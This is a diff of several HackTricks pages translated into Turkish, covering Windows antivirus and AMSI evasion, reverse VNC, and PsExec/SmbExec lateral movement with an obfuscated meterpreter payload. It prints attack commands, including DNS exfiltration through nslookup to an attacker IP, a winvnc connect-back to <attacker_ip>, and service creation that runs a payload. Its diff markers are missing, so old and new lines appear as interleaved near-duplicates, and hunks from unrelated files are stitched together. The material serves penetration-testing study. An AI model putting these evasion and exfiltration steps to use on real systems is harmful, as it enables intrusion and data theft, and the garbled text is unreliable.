Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmiyor. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görecektir, bu da bir şeyin ne kadar işaretlendiğine bağlıdır.
* **AMSI Aşma**
AMSI, bir DLL'yi powershell (aynı zamanda cscript.exe, wscript.exe, vb.) sürecine yükleyerek uygulandığı için, yetkisiz bir kullanıcı olarak çalışırken bile bununla oynamak mümkündür. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasını aşmanın birden fazla yolunu bulmuşlardır.
AMSI, bir DLL'yi powershell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine yükleyerek uygulandığı için, ayrıcalıksız bir kullanıcı olarak çalıştırırken bile bununla oynamak mümkündür. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasını aşmanın birçok yolunu bulmuşlardır.
**Bir Hata Zorlamak**
@ -216,7 +222,7 @@ $Spotfix.SetValue($null,$true)
```
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
**Memory Patching**
**Bellek Yaması**
Bu teknik ilk olarak [@RastaMouse](https://twitter.com/\_RastaMouse/) tarafından keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E\_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir, bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır.
@ -226,19 +232,19 @@ Lütfen daha ayrıntılı bir açıklama için [https://rastamouse.me/memory-pat
Powershell ile AMSI'yi atlatmak için kullanılan birçok başka teknik de vardır, bunlar hakkında daha fazla bilgi edinmek için [**bu sayfayı**](basic-powershell-for-pentesters/#amsi-bypass) ve [bu repoyu](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kontrol edin.
Ya da bu script, bellek yamanması yoluyla her yeni Powersh'i yamanlayacaktır.
Ya da bu bellek yaması aracılığıyla her yeni Powersh'i yamanlayacak bir script.
## Obfuscation
**C# düz metin kodunu obfuscate etmek**, ikili dosyaları derlemek için **metaprogramming şablonları** oluşturmak veya **derlenmiş ikili dosyaları obfuscate etmek** için kullanılabilecek birkaç araç vardır:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [kod obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) ve değiştirilmezlik sağlamak için yazılım güvenliğini artırabilen ık kaynaklı bir [LLVM](http://www.llvm.org/) derleme paketinin bir çatalını sağlamaktır.
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [kod obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) ve değiştirilmezlik sağlamak için yazılım güvenliğini artırabilen [LLVM](http://www.llvm.org/) derleme paketininık kaynaklı bir çatalını sağlamaktır.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, `C++11/14` dilini kullanarak, derleme zamanında, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden obfuscate edilmiş kod oluşturmayı gösterir.
* [**obfy**](https://github.com/fritzone/obfy): Uygulamayı kırmak isteyen kişinin işini biraz daha zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından üretilen obfuscate edilmiş işlemler katmanı ekler.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz, .exe, .dll, .sys gibi çeşitli farklı pe dosyalarını obfuscate edebilen bir x64 ikili obfuscator'dır.
* [**metame**](https://github.com/a0rtega/metame): Metame, keyfi yürütülebilir dosyalar için basit bir metamorfik kod motorudur.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator, ROP (return-oriented programming) kullanarak LLVM destekli diller için ince taneli bir kod obfuscation çerçevesidir. ROPfuscator, normal kontrol akışının doğal kavramını engelleyerek, normal talimatları ROP zincirlerine dönüştürerek bir programı montaj kodu seviyesinde obfuscate eder.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator, ROP (return-oriented programming) kullanarak LLVM destekli diller için ince taneli kod obfuscation çerçevesidir. ROPfuscator, normal kontrol akışının doğal kavramını engelleyerek, normal talimatları ROP zincirlerine dönüştürerek bir programı montaj kodu seviyesinde obfuscate eder.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt, Nim dilinde yazılmış bir .NET PE Crypter'dır.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürebilir ve ardından bunları yükleyebilir.
@ -252,15 +258,15 @@ Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uy
SmartScreen esasen bir itibar temelli yaklaşım ile çalışır, bu da alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir).
**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan Zone.Identifier adlı bir [NTFS Alternatif Veri Akışı](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))dır.
**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan Zone.Identifier adlı bir [NTFS Alternatif Veri Akışı](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))dır ve indirildiği URL ile birlikte gelir.
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>İnternetten indirilen bir dosya için Zone.Identifier ADS'yi kontrol etme.</p></figcaption></figure>
{% hint style="info" %}
**Güvenilir** bir imzalama sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir.
Güvenilir bir imzalama sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir.
{% endhint %}
Payload'larınızın Mark of The Web'den etkilenmesini önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **NTFS** olmayan hacimlere **uygulanamayacağı** için olur.
Payload'larınızın Mark of The Web'den etkilenmesini önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **NTFS olmayan** hacimlere **uygulanamayacağı** için olur.
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
@ -298,7 +304,7 @@ C# ikili dosyalarını belleğe yüklemek bir süredir bilinmektedir ve AV taraf
Payload doğrudan belleğe yükleneceğinden, diskle etkileşime girmeden, tüm süreç için AMSI'yi yamanmakla endişelenmemiz gerekecek.
Çoğu C2 framework'ü (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sunmaktadır, ancak bunu yapmanın farklı yolları vardır:
Çoğu C2 çerçevesi (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sunmaktadır, ancak bunu yapmanın farklı yolları vardır:
* **Fork\&Run**
@ -316,15 +322,15 @@ Bu, post-exploitation kötü niyetli kodu **kendi sürecine** enjekte etmekle il
C# Assembly yükleme hakkında daha fazla bilgi almak isterseniz, lütfen bu makaleyi kontrol edin [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) ve onların InlineExecute-Assembly BOF'unu ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
{% endhint %}
Ayrıca C# Derlemelerini **PowerShell'den** yükleyebilirsiniz, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) ve [S3cur3th1sSh1t'in videosunu](https://www.youtube.com/watch?v=oe11Q-3Akuk) kontrol edin.
C# Derlemelerini **PowerShell'den** de yükleyebilirsiniz, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) ve [S3cur3th1sSh1t'in videosunu](https://www.youtube.com/watch?v=oe11Q-3Akuk) kontrol edin.
## Diğer Programlama Dilleri Kullanma
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) adresinde önerildiği gibi, tehlikeye atılmış makineye **Saldırgan Kontrolündeki SMB paylaşımında kurulu olan yorumlayıcı ortamına erişim vererek** diğer dilleri kullanarak kötü niyetli kod çalıştırmak mümkündür.
Yorumlayıcı İkili dosyalarına ve SMB paylaşımındaki ortama erişim vererek, tehlikeye atılmış makinenin **belleğinde bu dillerde rastgele kod çalıştırabilirsiniz.**
Yorumlayıcı İkili dosyalarına ve SMB paylaşımındaki ortama erişim izni vererek, tehlikeye atılmış makinenin **belleğinde bu dillerde rastgele kod çalıştırabilirsiniz.**
Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullanarak **statik imzaları atlatmak için daha fazla esnekliğe sahip olduğumuzu** belirtmektedir. Bu dillerde rastgele obfuscate edilmemiş ters shell betikleri ile yapılan testler başarılı olmuştur.
Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullanarak **statik imzaları atlatmak için daha fazla esnekliğe sahip olduğumuzu** belirtmektedir. Bu dillerde rastgele obfuscate edilmemiş ters kabuk betikleri ile yapılan testler başarılı olmuştur.
## Gelişmiş Kaçış
@ -332,7 +338,7 @@ Kaçış çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı tel
Karşılaştığınız her ortamın kendi güçlü ve zayıf yönleri olacaktır.
Daha Gelişmiş Kaçış tekniklerine dair bir temel edinmek için [@ATTL4S](https://twitter.com/DaniLJ94) tarafından yapılan bu konuşmayı izlemenizi şiddetle tavsiye ederim.
Daha Gelişmiş Kaçış tekniklerine dair bir fikir edinmek için [@ATTL4S](https://twitter.com/DaniLJ94) tarafından yapılan bu konuşmayı izlemenizi şiddetle tavsiye ederim.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
@ -349,11 +355,11 @@ Aynı şeyi yapan başka bir araç ise [**avred**](https://github.com/dobin/avre
### **Telnet Sunucusu**
Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu ve bunu (yönetici olarak) yükleyebiliyordunuz:
Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu ve bunu (yönetici olarak) şu şekilde yükleyebiliyordunuz:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
**Başlat**mak için sistem açıldığında ve **şimdi** çalıştırmak için:
**Başlat**ıldığında sistem açıldığında ve **şimdi çalıştır**:
```bash
sc config TlntSVR start= auto obj= localsystem
```
@ -372,17 +378,17 @@ Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.
* _VNC Password_ kısmına bir şifre belirleyin
* _View-Only Password_ kısmına bir şifre belirleyin
Sonra, ikili _**winvnc.exe**_ ve **yeni** oluşturulan _**UltraVNC.ini**_ dosyasını **kurbanın** içine taşıyın
Ardından, ikili _**winvnc.exe**_ ve **yeni** oluşturulan _**UltraVNC.ini**_ dosyasını **kurbanın** içine taşıyın.
#### **Ters bağlantı**
**Saldırgan**, kendi **host'unda** `vncviewer.exe -listen 5900` ikilisini çalıştırmalı, böylece ters **VNC bağlantısını** yakalamaya **hazır** olacaktır. Ardından, **kurban** içinde: winvnc daemon'ını `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` komutunu çalıştırın
**Saldırgan**, kendi **host'unda** `vncviewer.exe -listen 5900` ikilisini çalıştırmalı, böylece ters **VNC bağlantısını** yakalamaya **hazır** olacaktır. Ardından, **kurban** içinde: winvnc daemon'ını `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` komutunu çalıştırın.
**UYARI:** Gizliliği korumak için bazı şeyleri yapmamalısınız
* `winvnc` zaten çalışıyorsa başlatmayın, aksi takdirde bir [popup](https://i.imgur.com/1SROTTl.png) tetiklersiniz. Çalışıp çalışmadığını `tasklist | findstr winvnc` ile kontrol edin
* Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın, aksi takdirde [konfigürasyon penceresi](https://i.imgur.com/rfMQWcf.png) açılır
* Yardım için `winvnc -h` komutunu çalıştırmayın, aksi takdirde bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz
* Yardım için `winvnc -h` çalıştırmayın, aksi takdirde bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz
### GreatSCT
@ -563,9 +569,15 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -9,12 +9,20 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Sistem bilgisi
### Sürüm ve Yamanın bilgileri
@ -43,9 +51,9 @@ Bazı çevresel değişkenleri vurgulamak için:
* **HOMEPATH/USERPROFILE:** Ana dizin
* **windir:** C:\Windows
* **OS**: Windows OS
* **LOGONSERVER**: Etki alanı denetleyicisinin adı
* **USERDNSDOMAIN**: DNS ile kullanılacak etki alanı adı
* **USERDOMAIN**: Etki alanının adı
* **LOGONSERVER**: Alan denetleyicisinin adı
* **USERDNSDOMAIN**: DNS ile kullanılacak alan adı
* **USERDOMAIN**: Alanın adı
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
@ -351,7 +359,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
```
#### Kurban
**`for /f tokens`** tekniği: Bu, komutları çalıştırmamıza, her satırın ilk X kelimesini almamıza ve bunu DNS üzerinden sunucumuza göndermemize olanak tanır.
**`for /f tokens`** tekniği: Bu, komutları çalıştırmamıza, her satırın ilk X kelimesini almamıza ve bunları sunucumuza DNS üzerinden göndermemize olanak tanır.
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
@ -409,16 +417,25 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,15 +9,19 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Nasıl çalışırlar
Süreç, aşağıdaki adımlarda özetlenmiştir ve hizmet ikili dosyalarının, SMB üzerinden hedef makinede uzaktan yürütme sağlamak için nasıl manipüle edildiğini göstermektedir:
Süreç, aşağıdaki adımlarda özetlenmiştir ve SMB üzerinden hedef makinede uzaktan yürütme sağlamak için hizmet ikili dosyalarının nasıl manipüle edildiğini göstermektedir:
1. **Bir hizmet ikili dosyasının ADMIN$ paylaşımına SMB üzerinden kopyalanması** gerçekleştirilir.
2. **Uzaktaki makinede bir hizmetin oluşturulması**, ikili dosyaya işaret edilerek yapılır.
@ -26,9 +30,9 @@ Süreç, aşağıdaki adımlarda özetlenmiştir ve hizmet ikili dosyalarının,
### **PsExec'i Manuel Olarak Çalıştırma Süreci**
Antivirüs tespitinden kaçınmak için Veil kullanılarak obfuscate edilmiş msfvenom ile oluşturulmuş bir yürütülebilir yük (payload) olan 'met8888.exe' adında bir dosya olduğunu varsayalım, aşağıdaki adımlar izlenir:
Antivirüs tespitinden kaçınmak için Veil kullanılarak obfuscate edilmiş, 'met8888.exe' adında bir yürütülebilir yük (msfvenom ile oluşturulmuş) olduğunu varsayalım; bu, bir meterpreter reverse_http yükünü temsil eder. Aşağıdaki adımlar izlenir:
* **İkili dosyanın kopyalanması**: Yürütülebilir dosya, bir komut istemcisinden ADMIN$ paylaşımına kopyalanır, ancak dosya sistemi üzerinde gizli kalmak için herhangi bir yere yerleştirilebilir.
* **İkili dosyanın kopyalanması**: Yürütülebilir dosya, bir komut istemcisinden ADMIN$ paylaşımına kopyalanır, ancak dosya sisteminde gizli kalmak için herhangi bir yere yerleştirilebilir.
* **Bir hizmet oluşturma**: Windows `sc` komutunu kullanarak, Windows hizmetlerini uzaktan sorgulama, oluşturma ve silme imkanı sağlayan bir hizmet "meterpreter" adıyla oluşturulur ve yüklenen ikili dosyaya işaret eder.
* **Hizmeti başlatma**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikili dosyası olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikili dosyanın yürütülmesidir.
@ -50,6 +54,10 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
{% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,53 +1,8 @@
# SmbExec/ScExec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## How it Works
**Smbexec**, Windows sistemlerinde uzaktan komut çalıştırmak için kullanılan bir araçtır, **Psexec**'e benzer, ancak hedef sistemde herhangi bir kötü amaçlı dosya bırakmaktan kaçınır.
### Key Points about **SMBExec**
- Hedef makinede cmd.exe (%COMSPEC%) aracılığıyla komutları çalıştırmak için geçici bir hizmet (örneğin, "BTOBTO") oluşturarak çalışır, herhangi bir ikili dosya bırakmaz.
- Gizli yaklaşımına rağmen, her çalıştırılan komut için olay günlükleri oluşturur ve etkileşimsiz bir "shell" biçimi sunar.
- **Smbexec** kullanarak bağlanma komutu şu şekildedir:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
### Binaries Olmadan Komut Çalıştırma
- **Smbexec**, hedefte fiziksel binary'lere ihtiyaç duymadan, hizmet binPath'leri aracılığıyla doğrudan komut yürütmeyi sağlar.
- Bu yöntem, bir Windows hedefinde tek seferlik komutlar yürütmek için faydalıdır. Örneğin, Metasploit'in `web_delivery` modülü ile birleştirildiğinde, PowerShell hedefli ters Meterpreter yükünün yürütülmesini sağlar.
- Saldırganın makinesinde binPath'i cmd.exe aracılığıyla sağlanan komutu çalıştıracak şekilde ayarlayarak uzaktan bir hizmet oluşturmak, yükü başarıyla yürütmek ve Metasploit dinleyicisi ile geri çağırma ve yük yürütme sağlamak mümkündür; bu, hizmet yanıt hataları olsa bile gerçekleşir.
### Komutlar Örneği
Hizmeti oluşturmak ve başlatmak aşağıdaki komutlarla gerçekleştirilebilir:
```bash
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
```
Daha fazla detay için [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## Referanslar
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -59,3 +14,65 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Nasıl Çalışır
**Smbexec**, Windows sistemlerinde uzaktan komut yürütmek için kullanılan bir araçtır, **Psexec**'e benzer, ancak hedef sistemde herhangi bir kötü amaçlı dosya bırakmaktan kaçınır.
### **SMBExec** Hakkında Ana Noktalar
